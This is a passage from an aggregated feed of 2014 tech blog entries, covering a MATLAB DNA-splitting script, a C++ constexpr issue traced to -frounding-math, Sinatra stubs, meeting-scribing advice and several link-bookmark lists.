&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% Unless required by applicable law or agreed to in writing, software&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% distributed under the License is distributed on an "AS IS" BASIS,&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% See the License for the specific language governing permissions and&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;% limitations under the License.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;npont = 10000;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;sizeofpiece = 300;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;dnastr = textread('&lt;a href="http://www.ericoporto.com/attachment/acetobacterpasteurianus.txt"&gt;acetobacterpasteurianus.txt&lt;/a&gt;', '%s', 'delimiter', '\n','bufsize', 4000005);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;rdnastr = cat(2,dnastr{:}) ;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;tamanhoRd = length(rdnastr);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;stringsd = randi(tamanhoRd,npont,1);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;rstringsd=cell(npont,1);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;rstringsd(:) = {''};&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;for i=1:npont&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; maxed = min(stringsd(i)+sizeofpiece,tamanhoRd);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; rstringsd{i} = rdnastr(stringsd(i):maxed);&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;end&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;disp('Monte Carlo successfully applied to the DNA');&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New, Courier, monospace;"&gt;disp(sprintf('%d strings of %d chars created',npont,sizeofpiece));&lt;/span&gt;</description><author>Erico Notes</author><pubDate>Wed, 16 Jul 2014 00:48:04 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2013/09/break-dna-in-pieces-using-matlab.html</guid></item><item><title>constexpr and floating point rounding behaviour</title><link>https://bastian.rieck.me/blog/2014/constexpr_and_frounding_math/</link><description>&lt;p&gt;One of the new features in C++11 is the ability to declare variables (or
even functions) to be a &lt;a href="http://en.cppreference.com/w/cpp/language/constexpr"&gt;&lt;em&gt;constant
expression&lt;/em&gt;&lt;/a&gt; that
can be evaluated at compile time. Not only does this make the code
easier to read, it also offers increased performance while still being
very maintainable.&lt;/p&gt;
&lt;p&gt;I was thus very surprised to find out that, according to one of our
group members, &lt;code&gt;constexpr&lt;/code&gt; stopped working—the code had apparently
compiled on a personal machine but it would not compile in our
production environment at university. We used the following test program
to trace down the culprit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cxx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;cmath&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;constexpr&lt;/span&gt; &lt;span class="kt"&gt;double&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sqrt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And indeed, using our &lt;code&gt;CMake&lt;/code&gt; build environment, gcc would prove
unwilling to compile the code, responding with a very terse error
message:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;constexpr.cc: In function ‘int main(int, char**)’:
constexpr.cc:6:35: error: ‘sqrt(2.0e+0)’ is not a constant expression
   constexpr double b = std::sqrt(a);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the initial bafflement about this seemingly &lt;em&gt;incorrect&lt;/em&gt; compiler
error message, I happened to take a closer look at the compiler flags of
our build environment. The culprit then turned out to be
&lt;code&gt;-frounding-math&lt;/code&gt;. This flag instructs the compiler that floating point
rounding behaviour might change &lt;em&gt;at runtime&lt;/em&gt;, so naturally, an
expression such as &lt;code&gt;std::sqrt(2.0)&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; a constant expression any
more. Thus, I learned that:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ g++ -std=c++11 constexpr.cc
$ ./a.out # Yay
$ g++ -std=c++11 -frounding-math constexpr.cc
constexpr.cc: In function ‘int main(int, char**)’:
constexpr.cc:6:35: error: ‘sqrt(2.0e+0)’ is not a constant expression
   constexpr double b = std::sqrt(a);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Having lost a sizeable chunk of my daily sanity on this bug, I was of
course interested in tracing done its &lt;em&gt;cause&lt;/em&gt;. The culprit turned out to
be &lt;a href="https://www.cgal.org"&gt;CGAL&lt;/a&gt;. For reasons that are not completely clear
to my addled mind, the CGAL module for &lt;code&gt;CMake&lt;/code&gt; decides to set the
&lt;code&gt;CXX_COMPILE_FLAGS&lt;/code&gt; &lt;em&gt;globally&lt;/em&gt;, regardless of whether a file actually
uses CGAL or not. The personal computer where the code was tested first
did not have a working installation of CGAL, so of course the code
compiled correctly.&lt;/p&gt;
&lt;p&gt;Lessons learned: Check the compile flags and be wary around &lt;code&gt;CMake&lt;/code&gt;
modules (though I have to point out that it is the &lt;em&gt;implementation&lt;/em&gt; of
the module that caused the problems, not &lt;code&gt;CMake&lt;/code&gt; per se; quite the
opposite—I am a very fond user of &lt;code&gt;CMake&lt;/code&gt;).&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 15 Jul 2014 22:01:15 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/constexpr_and_frounding_math/</guid></item><item><title>First Crack 1.0</title><link>https://zacs.site/blog/first-crack-10.html</link><description>&lt;p&gt;Since starting this website nearly two years ago, I have written specifically about the engine that runs it exactly four times: in &lt;a href="https://zacs.site/blog/introducing-first-crack.html"&gt;Introducing First Crack&lt;/a&gt;, I detailed my long journey to the realization that I needed to build something completely my own, from the ground up; later, I talked about some of my creation&amp;#8217;s niceties in &lt;a href="https://zacs.site/blog/first-crack-in-practice.html"&gt;First Crack in Practice&lt;/a&gt;, before outlining the changes an innocuous redesign brought about in &lt;a href="https://zacs.site/blog/complete-overhaul.html"&gt;First Crack&amp;#8217;s Complete Overhaul&lt;/a&gt;. Finally, some eleven months later, I returned to once again briefly run down my latest updates in &lt;a href="https://zacs.site/blog/changes-to-first-crack.html"&gt;Changes to First Crack&lt;/a&gt;. Since then, however, for the last six months, I have not said a peep. Today, that changes with the release of First Crack 1.0 to the public.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/first-crack-10.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 15 Jul 2014 19:32:37 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/first-crack-10.html</guid></item><item><title>Stubbing Web Services with Sinatra: Standing up a quick server for your client application</title><link>https://joshuarogers.net/articles/2014-07/stubbing-web-services-sinatra/</link><description>Introduction The concept of dependencies seems rather straight forward. If &amp;ldquo;Thing A&amp;rdquo; depends on &amp;ldquo;Thing B&amp;rdquo;, then we can understand that we can't possibly use &amp;ldquo;Thing A&amp;rdquo; until we have &amp;ldquo;Thing B&amp;rdquo;. It's not even a development principle really, it's more of an &amp;ldquo;even small kids realize this&amp;rdquo; kind of principle. It's sort of a universal given, unless you happen to be Gallifreyan.
Taking that a step further, if you want me to make an application for you using some web services you've published, it might be prudent to give me access to those services, right?</description><author>Joshua Rogers</author><pubDate>Tue, 15 Jul 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-07/stubbing-web-services-sinatra/</guid></item><item><title>Custom validators in Laravel</title><link>https://liza.io/custom-validators-in-laravel/</link><description>&lt;p&gt;I&amp;rsquo;m still going with the Laravel port. One thing I&amp;rsquo;ve found really interesting is custom validators. In Laravel models you can set field rules, such as&amp;hellip;&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 15 Jul 2014 13:16:45 GMT</pubDate><guid isPermaLink="true">https://liza.io/custom-validators-in-laravel/</guid></item><item><title>Disrupting Disruption Theory</title><link>http://techpinions.com/disrupting-disruption-theory-2/31752</link><description>&lt;p&gt;Very interesting take on the recent flare up around Disruption Theory, and how Lepore was not necessarily wrong to criticize Christenson and his theory, but that she did point to the wrong permutation of it: it is not necessarily the base theory that is flawed, but rather the watered-down version we find in use so often today. John Kirk then proceeded to delve further into the theory in a great follow up to Ben Thompson&amp;#8217;s &lt;a href="https://zacs.site/blog/critiquing-disruption-theory.html"&gt;recent piece&lt;/a&gt;, &lt;a href="http://stratechery.com/2014/critiquing-disruption-theory/"&gt;Critiquing Disruption Theory&lt;/a&gt;.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://techpinions.com/disrupting-disruption-theory-2/31752"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 15 Jul 2014 09:59:18 GMT</pubDate><guid isPermaLink="true">http://techpinions.com/disrupting-disruption-theory-2/31752</guid></item><item><title>Thoughts on Netezza</title><link>https://www.craigpardey.com/post/2014-07-15-thoughts-on-netezza/</link><description>&lt;p&gt;I&amp;rsquo;ve been using Netezza for a few months now and this post captures my opinions based on my limited experience. For context, I&amp;rsquo;m populating a Netezza database for a client. The database schema is managed by the client, and Netezza was selected prior to my involvement. Netezza is their data warehouse, but they&amp;rsquo;re also using it a little like an application database.  They&amp;rsquo;re using a &lt;a href="http://en.wikipedia.org/wiki/Temporal_database"&gt;bi-temporal model&lt;/a&gt;, but that&amp;rsquo;s a subject for another post.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Tue, 15 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-07-15-thoughts-on-netezza/</guid></item><item><title>Determine your Fitbit stride length using a GPS watch</title><link>https://blog.tafkas.net/2014/07/15/determine-your-fitbit-stride-length-using-a-gps-watch/</link><description>I have been carrying my Fitbit One for a little over two years with me and it keeps tracking my daily steps. It also tracks my distance covered by multiplying those steps using the stride length which you can either provide explicitly or implicitly setting your heights. In the winter of 2012 I bought my first ~Garmin Forerunner 410~ (replaced by a Garmin Forerunner 920XT) GPS watch to help me track my running (and other outdoor) activities.</description><author>Tafkas Blog</author><pubDate>Tue, 15 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2014/07/15/determine-your-fitbit-stride-length-using-a-gps-watch/</guid></item><item><title>Scaling Organizations - Scribing</title><link>/2014/07/14/Scaling-Organizations-Scribing/</link><description>&lt;p&gt;In the process of growing a company there&amp;rsquo;s several hurdles based on the size of the company. What worked at 5 doesn&amp;rsquo;t work at 20, what works at 20 doesn&amp;rsquo;t work at 50, and what worked at 50 doesn&amp;rsquo;t work at 150. There&amp;rsquo;s a lot of talk about &lt;a href="http://lifehacker.com/5965280/follow-jeff-bezos-two-pizza-rule-to-avoid-the-dangers-of-groupthink"&gt;two pizza teams&lt;/a&gt; and &lt;a href="http://adam.herokuapp.com/past/2011/4/28/scaling_a_development_team/"&gt;scaling development teams&lt;/a&gt; out there. One thing I haven&amp;rsquo;t seen quite enough of is details around scribing and documenting things.&lt;/p&gt;
&lt;h3 id="planning"&gt;
&lt;div&gt;
Planning
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;At teams of 2 and 3 you get everyone in a room. Perhaps 1 person says what you&amp;rsquo;re going to do and you all rally around it, or maybe it&amp;rsquo;s a day of debate and persuasion from all sides.&lt;/p&gt;
&lt;p&gt;In the end though you all leave, get heads down, but all know what goal you&amp;rsquo;re working towards. At a larger company planning doesn&amp;rsquo;t scale quite this way. I&amp;rsquo;ve seen roadmapping and planning done a variety of ways as companies scale, but most times the thing they miss for far too long is documenting what comes out of it. Many may produce some level of artifact, but a cohesive wrap-up is often missed. Such an artifact should be easily digestible within a couple minutes, but also deep enough to answer many of the initial questions raised by the high level pieces.&lt;/p&gt;
&lt;h3 id="meetings"&gt;
&lt;div&gt;
Meetings
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Meetings are a smaller level item than broader planning, and tend to go without thorough note taking than higher level planning. With growth you&amp;rsquo;ll have more meetings, trust me you will. The more meetings you have the more likely you may miss one or two you&amp;rsquo;re interested in. Or perhaps its as simple as some team members being out. Summer is especially hard around this. For a team of 10 it&amp;rsquo;s not uncommon that you may go all summer with at least 1 person not in the meeting and often two.&lt;/p&gt;
&lt;p&gt;Keeping those that miss the meeting well informed of what happened at it is critical as you scale. This is slightly less important at an extremely large company, though still valuable, but critical &lt;em&gt;as you scale to larger&lt;/em&gt;. As you&amp;rsquo;re scaling things are changing faster, and context can more easily get lost.&lt;/p&gt;
&lt;p&gt;So how do you improve this?&lt;/p&gt;
&lt;p&gt;Some practical tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Have a set of running notes with someone consistently scribing is a great standard to set. &lt;em&gt;If you missed a meeting you know where to go for it.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Recording who was and was not at the meeting can be incredibly valuable. I&amp;rsquo;ve heard statements &amp;ldquo;I said X at Y meeting&amp;rdquo;, the only problem with that statement is I wasn&amp;rsquo;t at Y meeting.&lt;/li&gt;
&lt;li&gt;Not only recording the meeting notes, but explicitly calling out who&amp;rsquo;s not there can help to know if that information should be explicitly passed along vs. just missed.&lt;/li&gt;
&lt;li&gt;Within your long running document have a summary to wrap it up. While scribing is great it can lead to not seeing the forest for the trees at times.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And a few from others:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Meetings need a &lt;strong&gt;purpose&lt;/strong&gt; and an &lt;strong&gt;agenda&lt;/strong&gt;. If I don&amp;rsquo;t know why I&amp;rsquo;m having a meeting, or what will be covered, I won&amp;rsquo;t go. If I&amp;rsquo;m organizing a meeting and can&amp;rsquo;t spare the time to produce an agenda and goal, I shouldn&amp;rsquo;t waste other people&amp;rsquo;s time with the meeting – &lt;a href="http://www.twitter.com/jacobian"&gt;@jacobian&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Any meeting over about 15-20 isn&amp;rsquo;t a meeting, it&amp;rsquo;s a presentation (which is OK too but make it clear that it&amp;rsquo;s a download, not a discussion). – &lt;a href="http://www.twitter.com/jacobian"&gt;@jacobian&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="email"&gt;
&lt;div&gt;
Email
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;If you aren&amp;rsquo;t aware I&amp;rsquo;m a &lt;a href="/2014/02/07/my-email-hacks/"&gt;big fan of email&lt;/a&gt;. Email is almost guaranteed that someone will at least open it (at least if its to them or a clear enough list). If you have something you want someone to read – email it. You can have a canonical wiki, or Trello board, or a variety of tools, but email will get more eyeballs than any of these. At the same time don&amp;rsquo;t email things that are already documented elsewhere.&lt;/p&gt;
&lt;p&gt;Emails are great for highlighting the things people absolutely need to know about. Short and concise emails will also help to improve reach. Be careful to make these emails have a high ratio of information size to value. If you have a lot of extra follow on content send them somewhere else to read.&lt;/p&gt;
&lt;p&gt;Finally don’t overuse email. If you’re sending the same thing every week people will become numb to this. &lt;a href="http://www.yesware.com"&gt;Monitoring if your emails are being opened/responded&lt;/a&gt; to can help to know if you&amp;rsquo;re over-broadcasting.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Mon, 14 Jul 2014 23:55:56 GMT</pubDate><guid isPermaLink="true">/2014/07/14/Scaling-Organizations-Scribing/</guid></item><item><title>Making great Octopus PowerShell step templates</title><link>https://daniellittle.dev/making-great-octopus-powershell-step-templates</link><description>Step templates, introduced in Octopus Deploy 2.4, are a great way to share and reuse useful PowerShell scripts. Anyone can make a step…</description><author>Daniel Little Dev</author><pubDate>Mon, 14 Jul 2014 10:52:44 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/making-great-octopus-powershell-step-templates</guid></item><item><title>Critiquing Disruption Theory</title><link>http://stratechery.com/2014/critiquing-disruption-theory/</link><description>&lt;p&gt;I linked to this piece by Ben Thompson in the title only because it is his most recent on the topic of disruption theory; I strongly encourage you to start with his earlier piece from last year titled &amp;#8220;&lt;a href="http://stratechery.com/2013/clayton-christensen-got-wrong/"&gt;What Clayton Christenson Got Wrong&lt;/a&gt;&amp;#8221;, where he more fully explains the theory and further expands upon some of its flaws. Especially if you&amp;#160;&amp;#8212;&amp;#160;like me until now&amp;#160;&amp;#8212;&amp;#160;only know of Disruption Theory in the abstract as explained in passing here and there, these two articles from Ben are a fantastic place to start.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/critiquing-disruption-theory/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 14 Jul 2014 10:28:36 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/critiquing-disruption-theory/</guid></item><item><title>Powershell typeof</title><link>https://daniellittle.dev/powershell-typeof</link><description>Coming from C#, it provides the built in function  that you can use to get the  of a class. Powershell also makes it easy to get Type…</description><author>Daniel Little Dev</author><pubDate>Mon, 14 Jul 2014 10:00:16 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/powershell-typeof</guid></item><item><title>Java bookmarks</title><link>https://xenodium.com/java-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/cxxr/better-java"&gt;Better Java&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nurkiewicz.com/2014/11/executorservice-10-tips-and-tricks.html?m=1"&gt;ExecutorService - 10 tips and tricks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.odi.ch/prog/design/newbies.php#21"&gt;Java anti-patterns&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.angelikalanger.com/GenericsFAQ/JavaGenericsFAQ.html"&gt;Java Generics FAQs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://code.google.com/p/lanterna/"&gt;Lanterna&lt;/a&gt;, a text GUI (a la ncurses) written in Java.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/winterbe/java8-tutorial"&gt;Modern Java - A Guide to Java 8&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 14 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/java-bookmarks</guid></item><item><title>Browser bookmarks</title><link>https://xenodium.com/browser-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.dillo.org"&gt;Dillo&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fingers.today/tech/firefox-app-mode"&gt;Firefox: no window borders or other decoration&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.netsurf-browser.org/"&gt;NetSurf&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/single-file/"&gt;SingleFile | Save a page as a single HTML file&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 14 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/browser-bookmarks</guid></item><item><title>Node bookmarks</title><link>https://xenodium.com/node-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool/"&gt;How to use npm as a Build Tool&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 14 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/node-bookmarks</guid></item><item><title>JavaScript bookmarks</title><link>https://xenodium.com/javascript-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/@serbanmihai/javascript-es6-cheatsheet-map-weakmap-1339b7b80c13"&gt;#javascript ES6 cheatsheet — Map &amp;amp; WeakMap – Mihai Serban – Medium&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ivopetkov/responsively-lazy"&gt;A better way to lazy load responsive images&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=9822975"&gt;Airbnb JavaScript Style Guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rrees.me/2015/06/04/overview-of-javascript-reactive-frameworks/"&gt;An overview of JavaScript reactive frameworks&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://babeljs.io/"&gt;Babel Javascript compiler&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.helloerik.com/the-subtle-magic-behind-why-the-bootstrap-3-grid-works"&gt;Bootstrap 3 grid&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/web/tools/chrome-devtools"&gt;Chrome DevTools&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://slides.com/concise/js/fullscreen#/"&gt;Concise JavaScript intro&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cure53/DOMPurify"&gt;DOMPurify: a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://esprima.org/"&gt;ECMAScript parsing infrastructure for multipurpose analysis&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://eloquentjavascript.net"&gt;Eloquent JavaScript (Book)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id%3D10638113"&gt;ES6 Overview in Bullet Points (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bevacqua/es6"&gt;ES6 Overview in Bullet Points&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/DrkSephy/es6-cheatsheet"&gt;ES6-cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ericelliott/essential-javascript-links"&gt;Essential JavaScript Links&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://changelog.com/essential-reading-list-for-getting-started-with-service-workers/"&gt;Essential Reading List for Getting Started With Service Workers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://exploringjs.com/"&gt;Exploring ES6: Upgrade to the next version of JavaScript (Book)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://famous.org/"&gt;Famous Javascript library for animations &amp;amp; interfaces&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://yoksel.github.io/flex-cheatsheet/"&gt;Flexbox Cheatsheet&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.frontendhandbook.com/"&gt;Front-End Developer Handbook&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/leandrotk_/functional-programming-principles-in-javascript-26g7"&gt;Functional Programming Principles in Javascript - DEV Community&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sencha.com/blog/hidden-gems-in-chrome-developer-tools/"&gt;Hidden gems in Chrome Developer Tools&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://robotlolita.me/2015/11/15/how-do-promises-work.html"&gt;How do promises work&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://facebook.github.io/immutable-js/"&gt;Immutable collections for JavaScript&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.pocketjavascript.com/blog/2015/11/23/introducing-pokedex-org"&gt;Introducing Pokedex.org: a progressive webapp for Pokémon fans&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.famous.org/introducing-the-famous-framework/"&gt;Introducing the Famous framework&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/banesag/javascript-data-structures-part-1-4eb5"&gt;JavaScript: Data Structures (Part 1) - DEV Community&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://xahlee.info/js/javascript_iterator.html"&gt;JavaScript: Iterator (ES2015)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://js.coach"&gt;js.coach (Opinionated catalog of open source JS packages)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/facebook/jscodeshift"&gt;jscodeshift, a toolkit for running codemods over multiple JS files&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jscs.info/"&gt;JSCS linter&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/Learn"&gt;Learning the Web (mozilla.org)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.nateberkopec.com/2015/10/07/frontend-performance-chrome-timeline.html"&gt;Ludicrously Fast Page Loads - A Guide for Full-Stack Devs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mancy-re.pl/"&gt;Mancy: JavaScript REPL application based on Electron and React&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.larryullman.com/books/modern-javascript-develop-and-design/table-of-contents/"&gt;Modern JavaScript: Develop and Design (book)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://courses.angularclass.com/courses/modern-javascript"&gt;Modern Javascript: ​Learning the foundational concepts and build tools for modern web applications&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/javascript-scene/must-see-javascript-dev-tools-that-put-other-dev-tools-to-shame-aca6d3e3d925#.bcntoj3kq"&gt;Must See JavaScript Dev Tools That Put Other Dev Tools to Shame&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mrale.ph/blog/2014/07/30/constructor-vs-objectcreate.html"&gt;new vs Object.create&lt;/a&gt;.&lt;/li&gt;
